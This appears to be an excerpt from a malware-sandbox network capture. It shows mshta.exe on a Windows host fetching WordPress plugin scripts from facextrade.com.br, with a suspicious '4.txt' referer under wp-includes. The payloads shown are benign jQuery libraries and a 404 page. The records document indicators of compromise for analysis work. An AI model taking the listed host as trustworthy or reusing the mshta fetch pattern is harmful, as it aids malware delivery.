Aug 16, 2022 11:05:58.454292059 CEST	2081	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:58.670676947 CEST	2085	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:16 GMT Server: Apache ETag: "a4fad2-1860-58592f81e2d80" Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT Content-Length: 6240 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23795844 24086758 Age: 102 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 6a 2c 63 2c 6c 29 7b 63 2e 66 6e 2e 74 6f 75 63 68 77 69 70 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7b 6d 69 6e 5f 6d 6f 76 65 5f 78 3a 32 30 2c 6d 69 6e 5f 6d 6f 76 65 5f 79 3a 32 30 2c 77 69 70 65 4c 65 66 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 52 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 55 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 70 65 44 6f 77 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 3a 21 30 7d 3b 61 26 26 63 2e 65 78 74 65 6e 64 28 62 2c 61 29 3b 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 29 3b 64 3d 6e 75 6c 6c 3b 6b 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 28 68 29 7b 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 45 76 65 6e 74 73 26 26 68 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 69 66 28 6b 29 7b 76 61 72 20 66 3d 64 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 3b 68 3d 65 2d 68 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 3b 4d 61 74 68 2e 61 62 73 28 66 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 78 3f 28 61 28 29 2c 30 3c 66 3f 62 2e 77 69 70 65 4c 65 66 74 28 29 3a 62 2e 77 69 70 65 52 69 67 68 74 28 29 29 3a 4d 61 74 68 2e 61 62 73 28 68 29 3e 3d 62 2e 6d 69 6e 5f 6d 6f 76 65 5f 79 26 26 28 61 28 29 2c 0a 30 3c 68 3f 62 2e 77 69 70 65 44 6f 77 6e 28 29 3a 62 2e 77 69 70 65 55 70 28 29 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 31 3d 3d 61 2e 74 6f 75 63 68 65 73 2e 6c 65 6e 67 74 68 26 26 28 64 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 58 2c 65 3d 61 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 70 61 67 65 59 2c 6b 3d 21 30 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 6d 6f 76 65 22 2c 63 2c 21 31 29 29 7d 76 61 72 20 64 2c 65 2c 6b 3d 21 31 3b 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 75 63 68 73 74 61 72 74 22 2c 66 2c 21 31 29 7d 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 24 65 6c 3d 63 28 62 29 3b 74 68 69 73 2e 5f 69 6e 69 74 28 61 29 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 3d 7b 73 70 65 65 64 3a 34 35 30 2c 65 61 73 69 6e 67 3a 22 65 61 73 65 4f 75 74 42 61 63 6b 22 2c 69 6d 61 67 65 57 3a 31 39 30 2c 6d 61 72 67 69 6e 3a 33 2c 62 6f 72 64 65 72 3a 32 2c 6d 69 6e 49 74 65 6d 73 3a 31 2c 63 75 72 72 65 6e 74 3a 30 2c 6f 6e 43 6c 69 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3b 63 2e 65 6c 61 73 74 69 73 6c 69 64 Data Ascii: (function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislid
Aug 16, 2022 11:05:58.670731068 CEST	2086	IN	Data Raw: 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 5f 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 0a 63 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 63 2e 65 6c 61 73 74 69 73 6c 69 64 65 2e 64 65 66 61 75 6c 74 73 Data Ascii: e.prototype={_init:function(a){this.options=c.extend(!0,{},c.elastislide.defaults,a);this.$slider=this.$el.find("ul");this.$items=this.$slider.children("li");this.itemsCount=this.$items.length;this.$esCarousel=this.$slider.parent();this._vali
Aug 16, 2022 11:05:58.670772076 CEST	2088	IN	Data Raw: 7d 2c 5f 73 65 74 43 75 72 72 65 6e 74 56 61 6c 75 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 69 74 65 6d 57 3d 74 68 69 73 2e 24 69 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 21 30 29 3b 74 68 69 73 2e 73 6c 69 64 65 72 57 3d Data Ascii: },_setCurrentValues:function(){this.itemW=this.$items.outerWidth(!0);this.sliderW=this.itemW*this.itemsCount;this.visibleWidth=this.$esCarousel.width();this.fitCount=Math.floor(this.visibleWidth/this.itemW)},_addControls:function(){this.$navNe
Aug 16, 2022 11:05:58.670809984 CEST	2089	IN	Data Raw: 3b 74 68 69 73 2e 24 69 74 65 6d 73 2e 62 69 6e 64 28 22 63 6c 69 63 6b 2e 65 6c 61 73 74 69 73 6c 69 64 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 6f 70 74 69 6f 6e 73 2e 6f 6e 43 6c 69 63 6b 28 63 28 74 68 69 73 29 29 7d 29 3b 61 2e 24 73 Data Ascii: ;this.$items.bind("click.elastislide",function(){a.options.onClick(c(this))});a.$slider.touchwipe({wipeLeft:function(){a._slide("right")},wipeRight:function(){a._slide("left")}})},_slide:function(a,b,g,j){if(this.$slider.is(":animated"))return
Aug 16, 2022 11:05:58.670850992 CEST	2090	IN	Data Raw: 73 2e 6d 61 72 67 69 6e 3f 74 68 69 73 2e 5f 74 6f 67 67 6c 65 43 6f 6e 74 72 6f 6c 73 28 22 72 69 67 68 74 22 2c 31 29 3a 74 68 69 73 2e 5f 74 6f 67 67 6c 65 43 6f 6e 74 72 6f 6c 73 28 22 72 69 67 68 74 22 2c 2d 31 29 3b 63 2e 66 6e 2e 61 70 70 Data Ascii: s.margin?this._toggleControls("right",1):this._toggleControls("right",-1);c.fn.applyStyle=g===l?c.fn.animate:c.fn.css;this.$slider.applyStyle({marginLeft:b},c.extend(!0,[],{duration:this.options.speed,easing:this.options.easing,complete:funct
Aug 16, 2022 11:05:58.678302050 CEST	2091	OUT	GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:05:59.898221016 CEST	2092	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:05:58 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 X-Varnish: 23795846 Age: 0 Via: 1.1 varnish-v4 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 Data Ascii: 00104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alt
Aug 16, 2022 11:05:59.898256063 CEST	2094	IN	Data Raw: 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f Data Ascii: ernate" type="application/atom+xml" title="Facex" href="https://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><
Aug 16, 2022 11:05:59.898274899 CEST	2095	IN	Data Raw: 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 Data Ascii: g\/","svgExt":".svg","source":{"concatemoji":"http:\/\/facextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var
Aug 16, 2022 11:05:59.898289919 CEST	2096	IN	Data Raw: 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 26 26 21 74 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 Data Ascii: erythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1
Aug 16, 2022 11:05:59.900707960 CEST	2097	IN	Data Raw: 30 30 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 Data Ascii: 00101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49785	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:06:00.114826918 CEST	2135	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:00.325711012 CEST	2144	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:19 GMT Server: Apache ETag: "a5146a-bbe-5c93d38d9c220" Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT Content-Length: 3006 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16636824 18932494 Age: 101 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 0d 0a 20 20 20 20 2f 2a 2a 0d 0a 20 20 20 20 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 4a 61 76 61 53 63 72 69 70 74 20 73 6f 75 72 63 65 0d 0a 20 20 20 20 20 2a 20 73 68 6f 75 6c 64 20 72 65 73 69 64 65 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 4e 6f 74 65 3a 20 49 74 20 68 61 73 20 62 65 65 6e 20 61 73 73 75 6d 65 64 20 79 6f 75 20 77 69 6c 6c 20 77 72 69 74 65 20 6a 51 75 65 72 79 20 63 6f 64 65 20 68 65 72 65 2c 20 73 6f 20 74 68 65 0d 0a 20 20 20 20 20 2a 20 24 20 66 75 6e 63 74 69 6f 6e 20 72 65 66 65 72 65 6e 63 65 20 68 61 73 20 62 65 65 6e 20 70 72 65 70 61 72 65 64 20 66 6f 72 20 75 73 61 67 65 20 77 69 74 68 69 6e 20 74 68 65 20 73 63 6f 70 65 0d 0a 20 20 20 20 20 2a 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 54 68 69 73 20 65 6e 61 62 6c 65 73 20 79 6f 75 20 74 6f 20 64 65 66 69 6e 65 20 68 61 6e 64 6c 65 72 73 2c 20 66 6f 72 20 77 68 65 6e 20 74 68 65 20 44 4f 4d 20 69 73 20 72 65 61 64 79 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 57 68 65 6e 20 74 68 65 20 77 69 6e 64 6f 77 20 69 73 20 6c 6f 61 64 65 64 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 20 77 69 6e 64 6f 77 20 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 2e 2e 2e 61 6e 64 2f 6f 72 20 6f 74 68 65 72 20 70 6f 73 73 69 62 69 6c 69 74 69 65 73 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 49 64 65 61 6c 6c 79 2c 20 69 74 20 69 73 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 62 65 73 74 20 70 72 61 63 74 69 73 65 20 74 6f 20 61 74 74 61 63 68 20 6d 6f 72 65 20 74 68 61 6e 20 61 0d 0a 20 20 20 20 20 2a 20 73 69 6e 67 6c 65 20 44 4f 4d 2d 72 65 61 64 79 20 6f 72 20 77 69 6e 64 6f 77 2d 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 66 6f 72 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 70 61 67 65 2e 0d 0a 20 20 20 20 20 2a 20 41 6c 74 68 6f 75 67 68 20 73 63 72 69 70 74 73 20 69 6e 20 74 68 65 20 57 6f 72 64 50 72 65 73 73 20 63 6f 72 65 2c 20 50 6c 75 67 69 6e 73 20 61 6e 64 20 54 68 65 6d 65 73 20 6d 61 79 20 62 65 0d 0a 20 20 20 20 20 2a 20 70 72 61 63 74 69 73 69 6e 67 20 74 68 69 73 2c 20 77 65 20 73 68 6f 75 6c 64 20 73 74 72 69 76 65 20 74 6f 20 73 65 74 20 61 20 62 65 74 74 65 72 20 65 78 61 6d 70 6c 65 20 69 6e 20 6f 75 72 20 6f 77 6e 20 77 6f 72 6b 2e 0d 0a 20 20 20 20 20 2a 2f 0d 0a 0d 0a 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 20 20 20 20 Data Ascii: (function() { 'use strict'; /** * All of the code for your public-facing JavaScript source * should reside in this file. * * Note: It has been assumed you will write jQuery code here, so the * $ function reference has been prepared for usage within the scope * of this function. * * This enables you to define handlers, for when the DOM is ready: * * $(function() { * * }); * * When the window is loaded: * * $( window ).load(function() { * * }); * * ...and/or other possibilities. * * Ideally, it is not considered best practise to attach more than a * single DOM-ready or window-load handler for a particular page. * Although scripts in the WordPress core, Plugins and Themes may be * practising this, we should strive to set a better example in our own work. */ jQuery(document).ready(function($) {
Aug 16, 2022 11:06:00.325731993 CEST	2146	IN	Data Raw: 20 20 20 20 24 28 27 2e 6c 67 78 2d 6c 6f 67 6f 2d 63 61 72 6f 75 73 65 6c 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 24 6c 6f 67 6f 69 74 65 6d 20 3d 20 24 28 74 68 69 73 29 3b Data Ascii: $('.lgx-logo-carousel').each(function(){ var $logoitem = $(this); var dataAttr = $logoitem.data(); //console.log(dataAttr.navlarge); var logocarouselParams = { addClassAct
Aug 16, 2022 11:06:00.325747013 CEST	2146	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 69 74 65 6d 73 3a 64 61 74 61 41 74 74 72 2e 69 74 65 6d 74 61 62 6c 65 74 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 76 3a 64 61 74 61 41 74 74 72 2e 6e 61 76 74 Data Ascii: items:dataAttr.itemtablet, nav:dataAttr.navtablet }, // Item in Desktops Devices (Desktops 992px) 992:{ items:dataA
Aug 16, 2022 11:06:00.328862906 CEST	2147	OUT	GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:06:00.540119886 CEST	2162	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:04:19 GMT Server: Apache ETag: "a534d0-1c1f-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 7199 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 16636826 18932496 Age: 100 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 31 2e 32 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 3d 3d 76 6f 69 64 20 30 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 6f 6c 65 3b 69 5b 6e 5d 7c 7c 28 69 5b 6e 5d 3d 21 30 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 70 75 73 68 28 6e 29 2c 72 26 26 72 2e 77 61 72 6e 26 26 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 72 2e 77 61 72 6e 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 22 2b 6e 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 26 26 72 2e 74 72 61 63 65 26 26 72 2e 74 72 61 63 65 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 2c 61 2c 69 2c 6f 29 7b 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 29 74 72 79 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 6f 29 2c 69 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 28 6f 29 2c 69 3d 65 7d 7d 29 2c 6e 7d 63 61 74 63 68 28 73 29 7b 7d 65 2e 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 42 72 6f 6b 65 6e 3d 21 30 2c 74 5b 61 5d 3d 69 7d 76 61 72 20 69 3d 7b 7d 3b 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 3d 5b 5d 2c 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 